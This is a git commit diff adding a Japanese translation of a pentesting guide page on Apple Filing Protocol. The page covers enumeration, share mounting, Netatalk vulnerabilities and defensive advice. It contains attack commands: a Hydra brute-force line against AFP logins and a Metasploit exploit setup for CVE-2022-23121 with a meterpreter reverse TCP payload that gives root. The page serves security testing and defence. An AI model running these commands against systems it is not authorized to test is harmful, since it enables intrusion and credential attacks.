Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to

This commit is contained in:
Translator 2025-08-14 03:06:38 +00:00
parent 31a0ea14ff
commit c7504a8377

View File

@ -4,27 +4,109 @@
## 基本情報
**Apple Filing Protocol** (**AFP**)は、かつてAppleTalk Filing Protocolとして知られていた、**Apple File Service** (**AFS**)に含まれる専門的なネットワークプロトコルです。これは、macOSおよび古典的なMac OSのためのファイルサービスを提供するように設計されています。AFPは、Unicodeファイル名、POSIXおよびアクセス制御リストの権限、リソースフォーク、名前付き拡張属性、そして高度なファイルロックメカニズムをサポートしている点で際立っています。これは、Mac OS 9およびそれ以前のバージョンにおけるファイルサービスの主要なプロトコルでした。
**Apple Filing Protocol** (**AFP**)は、かつてAppleTalk Filing Protocolとして知られていた、**Apple File Service** (**AFS**)に含まれる専門的なネットワークプロトコルです。macOSおよび古典的なMac OSのためのファイルサービスを提供するように設計されています。AFPは、Unicodeファイル名、POSIXスタイルおよびACL権限、リソースフォーク、名前付き拡張属性、洗練されたファイルロックメカニズムをサポートしている点で際立っています。
**デフォルトポート:** 548
AFPは、現代のmacOSリリースではSMBに取って代わられていますOS X 10.9以降はSMBがデフォルト。それでも、以下の環境で遭遇することがあります
* レガシーmacOS / Mac OS 9環境
* オープンソースの**Netatalk**デーモンを組み込んだNASアプライアンスQNAP、Synology、Western Digital、TrueNAS…
* Time-Machine-over-AFPがまだ有効な混合OSネットワーク
**デフォルトTCPポート** **548**TCP上のAFP / DSI
```bash
PORT STATE SERVICE
548/tcp open afp
PORT STATE SERVICE
548/tcp open afp
```
### **列挙**
---
AFPサービスの列挙には、以下のコマンドとスクリプトが役立ちます
## 列挙
### クイックバナー / サーバー情報
```bash
msf> use auxiliary/scanner/afp/afp_server_info
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
```
**スクリプトとその説明:**
有用なAFP NSEスクリプト
- **afp-ls**: このスクリプトは、利用可能なAFPボリュームとファイルをリストするために使用されます。
- **afp-path-vuln**: すべてのAFPボリュームとファイルをリストし、潜在的な脆弱性を強調表示します。
- **afp-serverinfo**: AFPサーバーに関する詳細情報を提供します。
- **afp-showmount**: 利用可能なAFP共有とそれぞれのACLをリストします。
| スクリプト | 何をするか |
|--------|--------------|
| **afp-ls** | 利用可能なAFPボリュームとファイルをリスト表示 |
| **afp-brute** | AFPログインに対するパスワードブルートフォース |
| **afp-serverinfo** | サーバー名、マシンタイプ、AFPバージョン、サポートされているUAMなどをダンプ |
| **afp-showmount** | 共有とそのACLを一緒にリスト表示 |
| **afp-path-vuln** | ディレクトリトラバーサル、CVE-2010-0533を検出および悪用可能 |
### [**ブルートフォース**](../generic-hacking/brute-force.md#afp)
NSEブルートフォーススクリプトは、より多くの制御が必要な場合、Hydra/Medusaと組み合わせることができます
```bash
hydra -L users.txt -P passwords.txt afp://<IP>
```
### シェアとの対話
*macOS*
```bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
```
*Linux* (using `afpfs-ng` ほとんどのディストリビューションにパッケージされています)
```bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
```
マウントされたら、クラシックMacのリソースフォークは隠し`._*` AppleDoubleファイルとして保存されることを忘れないでください。これらはしばしばDFIRツールが見逃す興味深いメタデータを保持しています。
---
## 一般的な脆弱性と悪用
### Netatalkの認証なしRCEチェーン2022
いくつかのNASベンダーは**Netatalk ≤3.1.12**を出荷しました。`parse_entries()`の境界チェックの欠如により、攻撃者は悪意のある**AppleDouble**ヘッダーを作成し、認証前に**リモートルート**を取得することができます(**CVSS 9.8 CVE-2022-23121**。Western-Digital PR4100を悪用するPoCを含むNCC Groupによる完全な詳細が利用可能です。
Metasploit (>= 6.3)は、DSI `WRITE`を介してペイロードを提供するモジュール`exploit/linux/netatalk/parse_entries`を出荷しています。
```bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
```
対象が影響を受けたQNAP/Synologyファームウェアを実行している場合、成功したエクスプロイトは**root**としてシェルを提供します。
### Netatalk OpenSession ヒープオーバーフロー (2018)
古いNetatalk (3.0.0 - 3.1.11)は、**DSI OpenSession**ハンドラーにおけるバッファオーバーランの脆弱性があり、認証されていないコードの実行を可能にします (**CVE-2018-1160**)。詳細な分析とPoCはTenable Researchによって公開されました。
### その他の注目すべき問題
* **CVE-2022-22995** AppleDouble v2が有効な場合に任意のファイル書き込み/RCEを引き起こすシンボリックリンクリダイレクション (3.1.0 - 3.1.17)。
* **CVE-2010-0533** Apple Mac OS X 10.6 AFPにおけるディレクトリトラバーサル (検出は`afp-path-vuln.nse`による)。
* **Netatalk 4.x (2024)**では複数のメモリ安全性バグが修正されました 個別のCVEをパッチするよりもアップグレードを推奨します。
---
## 防御的推奨事項
1. **AFPを無効にする** SMB3またはNFSを代わりに使用してください。
2. AFPを維持する必要がある場合は、**Netatalkを≥ 3.1.18または4.xにアップグレード**するか、2022/2023/2024のパッチをバックポートしたベンダーファームウェアを適用してください。
3. **強力なUAM**(例:*DHX2*)を強制し、クリアテキストおよびゲストログインを無効にします。
4. TCP 548を信頼できるサブネットに制限し、リモートで公開される場合はAFPをVPN内にラップします。
5. CI/CDで`nmap -p 548 --script afp-*`を定期的にスキャンして、悪意のある/ダウングレードされた機器を検出します。
---
### [Brute-Force](../generic-hacking/brute-force.md#afp)
## 参考文献
* Netatalkセキュリティアドバイザリー CVE-2022-23121 "parse_entriesにおける任意のコード実行" <https://netatalk.io/security/CVE-2022-23121>
* Tenable Research "18年前のバグを悪用する (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
{{#include ../banners/hacktricks-training.md}}